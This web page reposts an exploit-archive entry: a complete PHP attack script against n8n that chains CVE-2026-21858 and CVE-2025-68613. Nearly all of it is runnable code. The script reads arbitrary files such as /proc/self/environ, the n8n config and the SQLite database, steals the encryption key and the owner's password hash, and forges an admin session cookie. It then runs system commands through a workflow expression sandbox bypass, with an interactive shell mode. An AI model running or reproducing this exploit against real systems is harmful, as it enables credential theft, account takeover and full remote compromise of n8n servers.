Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

 

 

n8n 2.0.0-rc.4 Remote Command Execution
n8n 2.0.0-rc.4 Remote Command Execution
n8n 2.0.0-rc.4 Remote Command Execution

=============================================================================================================================================
| # Title n8n 2.0.0-rc.4 Remote Command Execution

=============================================================================================================================================
| # Title : n8n 2.0.0-rc.4 Full chain exploit vulnerability |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://docs.n8n.io/release-notes/ |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/213586/ & CVE-2025-68613, CVE-2026-21858

[+] Summary : a PHP port of a research exploit targeting n8n, chaining multiple vulnerabilities to ultimately achieve remote command execution (RCE).

[+] PoC : php poc.php

<?php

define('BANNER', "
?????????????????????????????????????????????????????????????????
? CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain ?
? Arbitrary File Read ? Token Forge ? Sandbox Bypass ? RCE ?
? ?
? by indoushka ?
?????????????????????????????????????????????????????????????????
");

define('RCE_PAYLOAD', '={{ (function() { var require = this.process.mainModule.require; var execSync = require("child_process").execSync; return execSync("CMD").toString(); })() }}');

class Ni8mare {
private $base_url;
private $form_url;
private $session;
private $admin_token;

public function __construct($base_url, $form_path) {
$this->base_url = rtrim($base_url, '/');
$this->form_url = $this->base_url . '/' . ltrim($form_path, '/');
$this->session = $this->init_session();
$this->admin_token = null;
}

private function init_session() {
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Ni8mare/1.0)');
return $ch;
}

private function close_session() {
if ($this->session) {
curl_close($this->session);
}
}

private function randstr($n = 12) {
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
$result = '';
for ($i = 0; $i < $n; $i++) {
$result .= $chars[random_int(0, strlen($chars) - 1)];
}
return $result;
}

private function randpos() {
return [random_int(100, 600), random_int(100, 600)];
}

private function api($method, $path, $options = []) {
$url = $this->base_url . $path;
$ch = curl_init($url);

$headers = ['Content-Type: application/json'];
if ($this->admin_token) {
$headers[] = 'Cookie: n8n-auth=' . $this->admin_token;
}

curl_setopt($ch, CURLOPT_CUSTOMREQUEST, strtoupper($method));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_TIMEOUT, $options['timeout'] ?? 30);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

if (isset($options['json'])) {
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($options['json']));
}

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code >= 200 && $http_code < 300) {
return json_decode($response, true);
}

return null;
}

private function lfi_payload($filepath) {
return [
'data' => [],
'files' => [
'f-' . $this->randstr(6) => [
'filepath' => $filepath,
'originalFilename' => $this->randstr(8) . '.bin',
'mimetype' => 'application/octet-stream',
'size' => random_int(10000, 100000)
]
]
];
}

private function build_nodes($command) {
$trigger_name = 'T-' . $this->randstr(8);
$rce_name = 'R-' . $this->randstr(8);
$result_var = 'v' . $this->randstr(6);
$payload_value = str_replace('CMD', addslashes($command), RCE_PAYLOAD);

$nodes = [
[
'parameters' => [],
'name' => $trigger_name,
'type' => 'n8n-nodes-base.manualTrigger',
'typeVersion' => 1,
'position' => $this->randpos(),
'id' => 't-' . $this->randstr(12)
],
[
'parameters' => [
'values' => [
'string' => [[
'name' => $result_var,
'value' => $payload_value
]]
]
],
'name' => $rce_name,
'type' => 'n8n-nodes-base.set',
'typeVersion' => 2,
'position' => $this->randpos(),
'id' => 'r-' . $this->randstr(12)
]
];

$connections = [
$trigger_name => [
'main' => [[
'node' => $rce_name,
'type' => 'main',
'index' => 0
]]
]
];

return [$nodes, $connections, $trigger_name, $rce_name];
}

public function read_file($filepath, $timeout = 30) {
$payload = $this->lfi_payload($filepath);

$ch = $this->session;
curl_setopt($ch, CURLOPT_URL, $this->form_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_HEADER, false);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($http_code >= 200 && $http_code < 300 && !empty($response)) {
return $response;
}

return null;
}

public function get_version() {
$resp = $this->api('GET', '/rest/settings', ['timeout' => 10]);
if (!$resp) {
return ['0.0.0', false];
}

$version = $resp['data']['versionCli'] ?? '0.0.0';
$parts = explode('.', $version);
$major = intval($parts[0] ?? 0);
$minor = intval($parts[1] ?? 0);

$vuln = $major < 1 || ($major == 1 && $minor < 121);
return [$version, $vuln];
}

public function get_home() {
$data = $this->read_file('/proc/self/environ');
if (!$data) {
return null;
}

$vars = explode("\x00", $data);
foreach ($vars as $var) {
if (strpos($var, 'HOME=') === 0) {
return substr($var, 5);
}
}

return null;
}

public function get_key($home) {
$data = $this->read_file($home . '/.n8n/config');
if (!$data) {
return null;
}

$config = json_decode($data, true);
return $config['encryptionKey'] ?? null;
}

public function get_db($home) {
return $this->read_file($home . '/.n8n/database.sqlite', 120);
}

public function extract_admin($db) {
$temp_file = tempnam(sys_get_temp_dir(), 'n8n_db_');
file_put_contents($temp_file, $db);

try {
$pdo = new PDO("sqlite:$temp_file");
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

$stmt = $pdo->query("SELECT id, email, password FROM user WHERE role='global:owner' LIMIT 1");
$row = $stmt->fetch(PDO::FETCH_ASSOC);

unlink($temp_file);

if ($row) {
return [$row['id'], $row['email'], $row['password']];
}
} catch (Exception $e) {
if (file_exists($temp_file)) {
unlink($temp_file);
}
}

return null;
}

public function forge_token($key, $uid, $email, $pw_hash) {

$key_part = '';
for ($i = 0; $i < strlen($key); $i += 2) {
$key_part .= $key[$i];
}

$secret = hash('sha256', $key_part);
$hash_input = $email . ':' . $pw_hash;
$h = substr(base64_encode(hash('sha256', $hash_input, true)), 0, 10);

$header = base64_encode(json_encode(['alg' => 'HS256', 'typ' => 'JWT']));
$payload = base64_encode(json_encode(['id' => $uid, 'hash' => $h]));
$signature = base64_encode(hash_hmac('sha256', "$header.$payload", $secret, true));

$this->admin_token = "$header.$payload.$signature";
return $this->admin_token;
}

public function verify_token() {
return $this->api('GET', '/rest/users', ['timeout' => 10]) !== null;
}

public function rce($command) {
list($nodes, $connections, $trigger_name, $rce_name) = $this->build_nodes($command);
$wf_name = 'wf-' . $this->randstr(16);

$workflow = [
'name' => $wf_name,
'active' => false,
'nodes' => $nodes,
'connections' => $connections,
'settings' => []
];

$resp = $this->api('POST', '/rest/workflows', ['json' => $workflow, 'timeout' => 10]);
if (!$resp) {
return null;
}

$wf_id = $resp['data']['id'] ?? null;
if (!$wf_id) {
return null;
}

$run_data = [
'workflowData' => [
'id' => $wf_id,
'name' => $wf_name,
'active' => false,
'nodes' => $nodes,
'connections' => $connections,
'settings' => []
]
];

$resp = $this->api('POST', "/rest/workflows/$wf_id/run", ['json' => $run_data, 'timeout' => 30]);
if (!$resp) {
$this->api('DELETE', "/rest/workflows/$wf_id", ['timeout' => 5]);
return null;
}

$exec_id = $resp['data']['executionId'] ?? null;
$result = $exec_id ? $this->get_result($exec_id) : null;

$this->api('DELETE', "/rest/workflows/$wf_id", ['timeout' => 5]);
return $result;
}

private function get_result($exec_id) {
$resp = $this->api('GET', "/rest/executions/$exec_id", ['timeout' => 10]);
if (!$resp) {
return null;
}

$data = $resp['data']['data'] ?? null;
if (!$data) {
return null;
}

// Handle both cases: string JSON or already decoded array
if (is_string($data)) {
$parsed = json_decode($data, true);
} else {
$parsed = $data;
}

if (!is_array($parsed)) {
return null;
}

// Search for the result in reverse order
for ($i = count($parsed) - 1; $i >= 0; $i--) {
if (isset($parsed[$i]) && is_string($parsed[$i])) {
$item = $parsed[$i];
if (strlen($item) > 3 && !in_array($item, ['success', 'error'])) {
return trim($item);
}
}
}

return null;
}

public function pwn() {
echo "[+] HOME directory... ";
$home = $this->get_home();
if (!$home) {
echo "FAILED\n";
return false;
}
echo "OK: $home\n";

echo "[+] Encryption key... ";
$key = $this->get_key($home);
if (!$key) {
echo "FAILED\n";
return false;
}
echo "OK: " . substr($key, 0, 8) . "...\n";

echo "[+] Database... ";
$db = $this->get_db($home);
if (!$db) {
echo "FAILED\n";
return false;
}
echo "OK: " . strlen($db) . " bytes\n";

echo "[+] Admin user... ";
$admin = $this->extract_admin($db);
if (!$admin) {
echo "FAILED\n";
return false;
}
list($uid, $email, $pw) = $admin;
echo "OK: $email\n";

echo "[+] Token forge... ";
$this->forge_token($key, $uid, $email, $pw);
echo "OK\n";

echo "[+] Admin access... ";
if (!$this->verify_token()) {
echo "DENIED\n";
return false;
}
echo "GRANTED!\n";

echo "[+] Cookie: n8n-auth=" . $this->admin_token . "\n";
return true;
}

public function __destruct() {
$this->close_session();
}
}

function run_read($exploit, $path, $output = null) {
$data = $exploit->read_file($path);
if (!$data) {
echo "[-] File read failed\n";
return;
}

echo "[+] " . strlen($data) . " bytes\n";

if ($output) {
file_put_contents($output, $data);
echo "[+] Saved to: $output\n";
return;
}

echo $data . "\n";
}

function run_cmd($exploit, $cmd) {
echo "[+] RCE... ";
$out = $exploit->rce($cmd);
if (!$out) {
echo "FAILED\n";
return;
}
echo "OK\n\n";
echo $out . "\n";
}

function run_shell($exploit) {
echo "[*] Interactive mode (type 'exit' to quit)\n";

while (true) {
echo "\033[91mn8n\033[0m> ";
$cmd = trim(fgets(STDIN));

if (empty($cmd) || $cmd === 'exit') {
break;
}

$out = $exploit->rce($cmd);
if ($out) {
echo $out . "\n";
}
}
}

function parse_args() {
global $argv;

if (count($argv) < 3) {
echo "Usage: php " . basename($argv[0]) . " <url> <form_path> [options]\n";
echo "Options:\n";
echo " --read PATH Read arbitrary file\n";
echo " --cmd CMD Execute single command\n";
echo " --output FILE Save LFI output to file\n";
echo "\nExample:\n";
echo " php exploit.php http://localhost:5678 /form/upload --read /etc/passwd\n";
echo " php exploit.php http://localhost:5678 /form/upload --cmd id\n";
echo " php exploit.php http://localhost:5678 /form/upload\n";
exit(1);
}

$args = [
'url' => $argv[1],
'form' => $argv[2],
'read' => null,
'cmd' => null,
'output' => null
];

for ($i = 3; $i < count($argv); $i++) {
if ($argv[$i] === '--read' && isset($argv[$i + 1])) {
$args['read'] = $argv[++$i];
} elseif ($argv[$i] === '--cmd' && isset($argv[$i + 1])) {
$args['cmd'] = $argv[++$i];
} elseif ($argv[$i] === '--output' && isset($argv[$i + 1])) {
$args['output'] = $argv[++$i];
}
}

return $args;
}

function main() {
echo BANNER . "\n";

$args = parse_args();
$exploit = new Ni8mare($args['url'], $args['form']);

list($version, $vuln) = $exploit->get_version();
echo "[*] Target: " . $args['url'] . "\n";
echo "[*] Version: $version (" . ($vuln ? "VULN" : "SAFE") . ")\n";

if ($args['read']) {
run_read($exploit, $args['read'], $args['output']);
return;
}

if (!$exploit->pwn()) {
return;
}

if ($args['cmd']) {
run_cmd($exploit, $args['cmd']);
return;
}

run_shell($exploit);
}

if (php_sapi_name() === 'cli') {
main();
} else {
echo "This script must be run from command line\n";
}


Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================

Social Media Share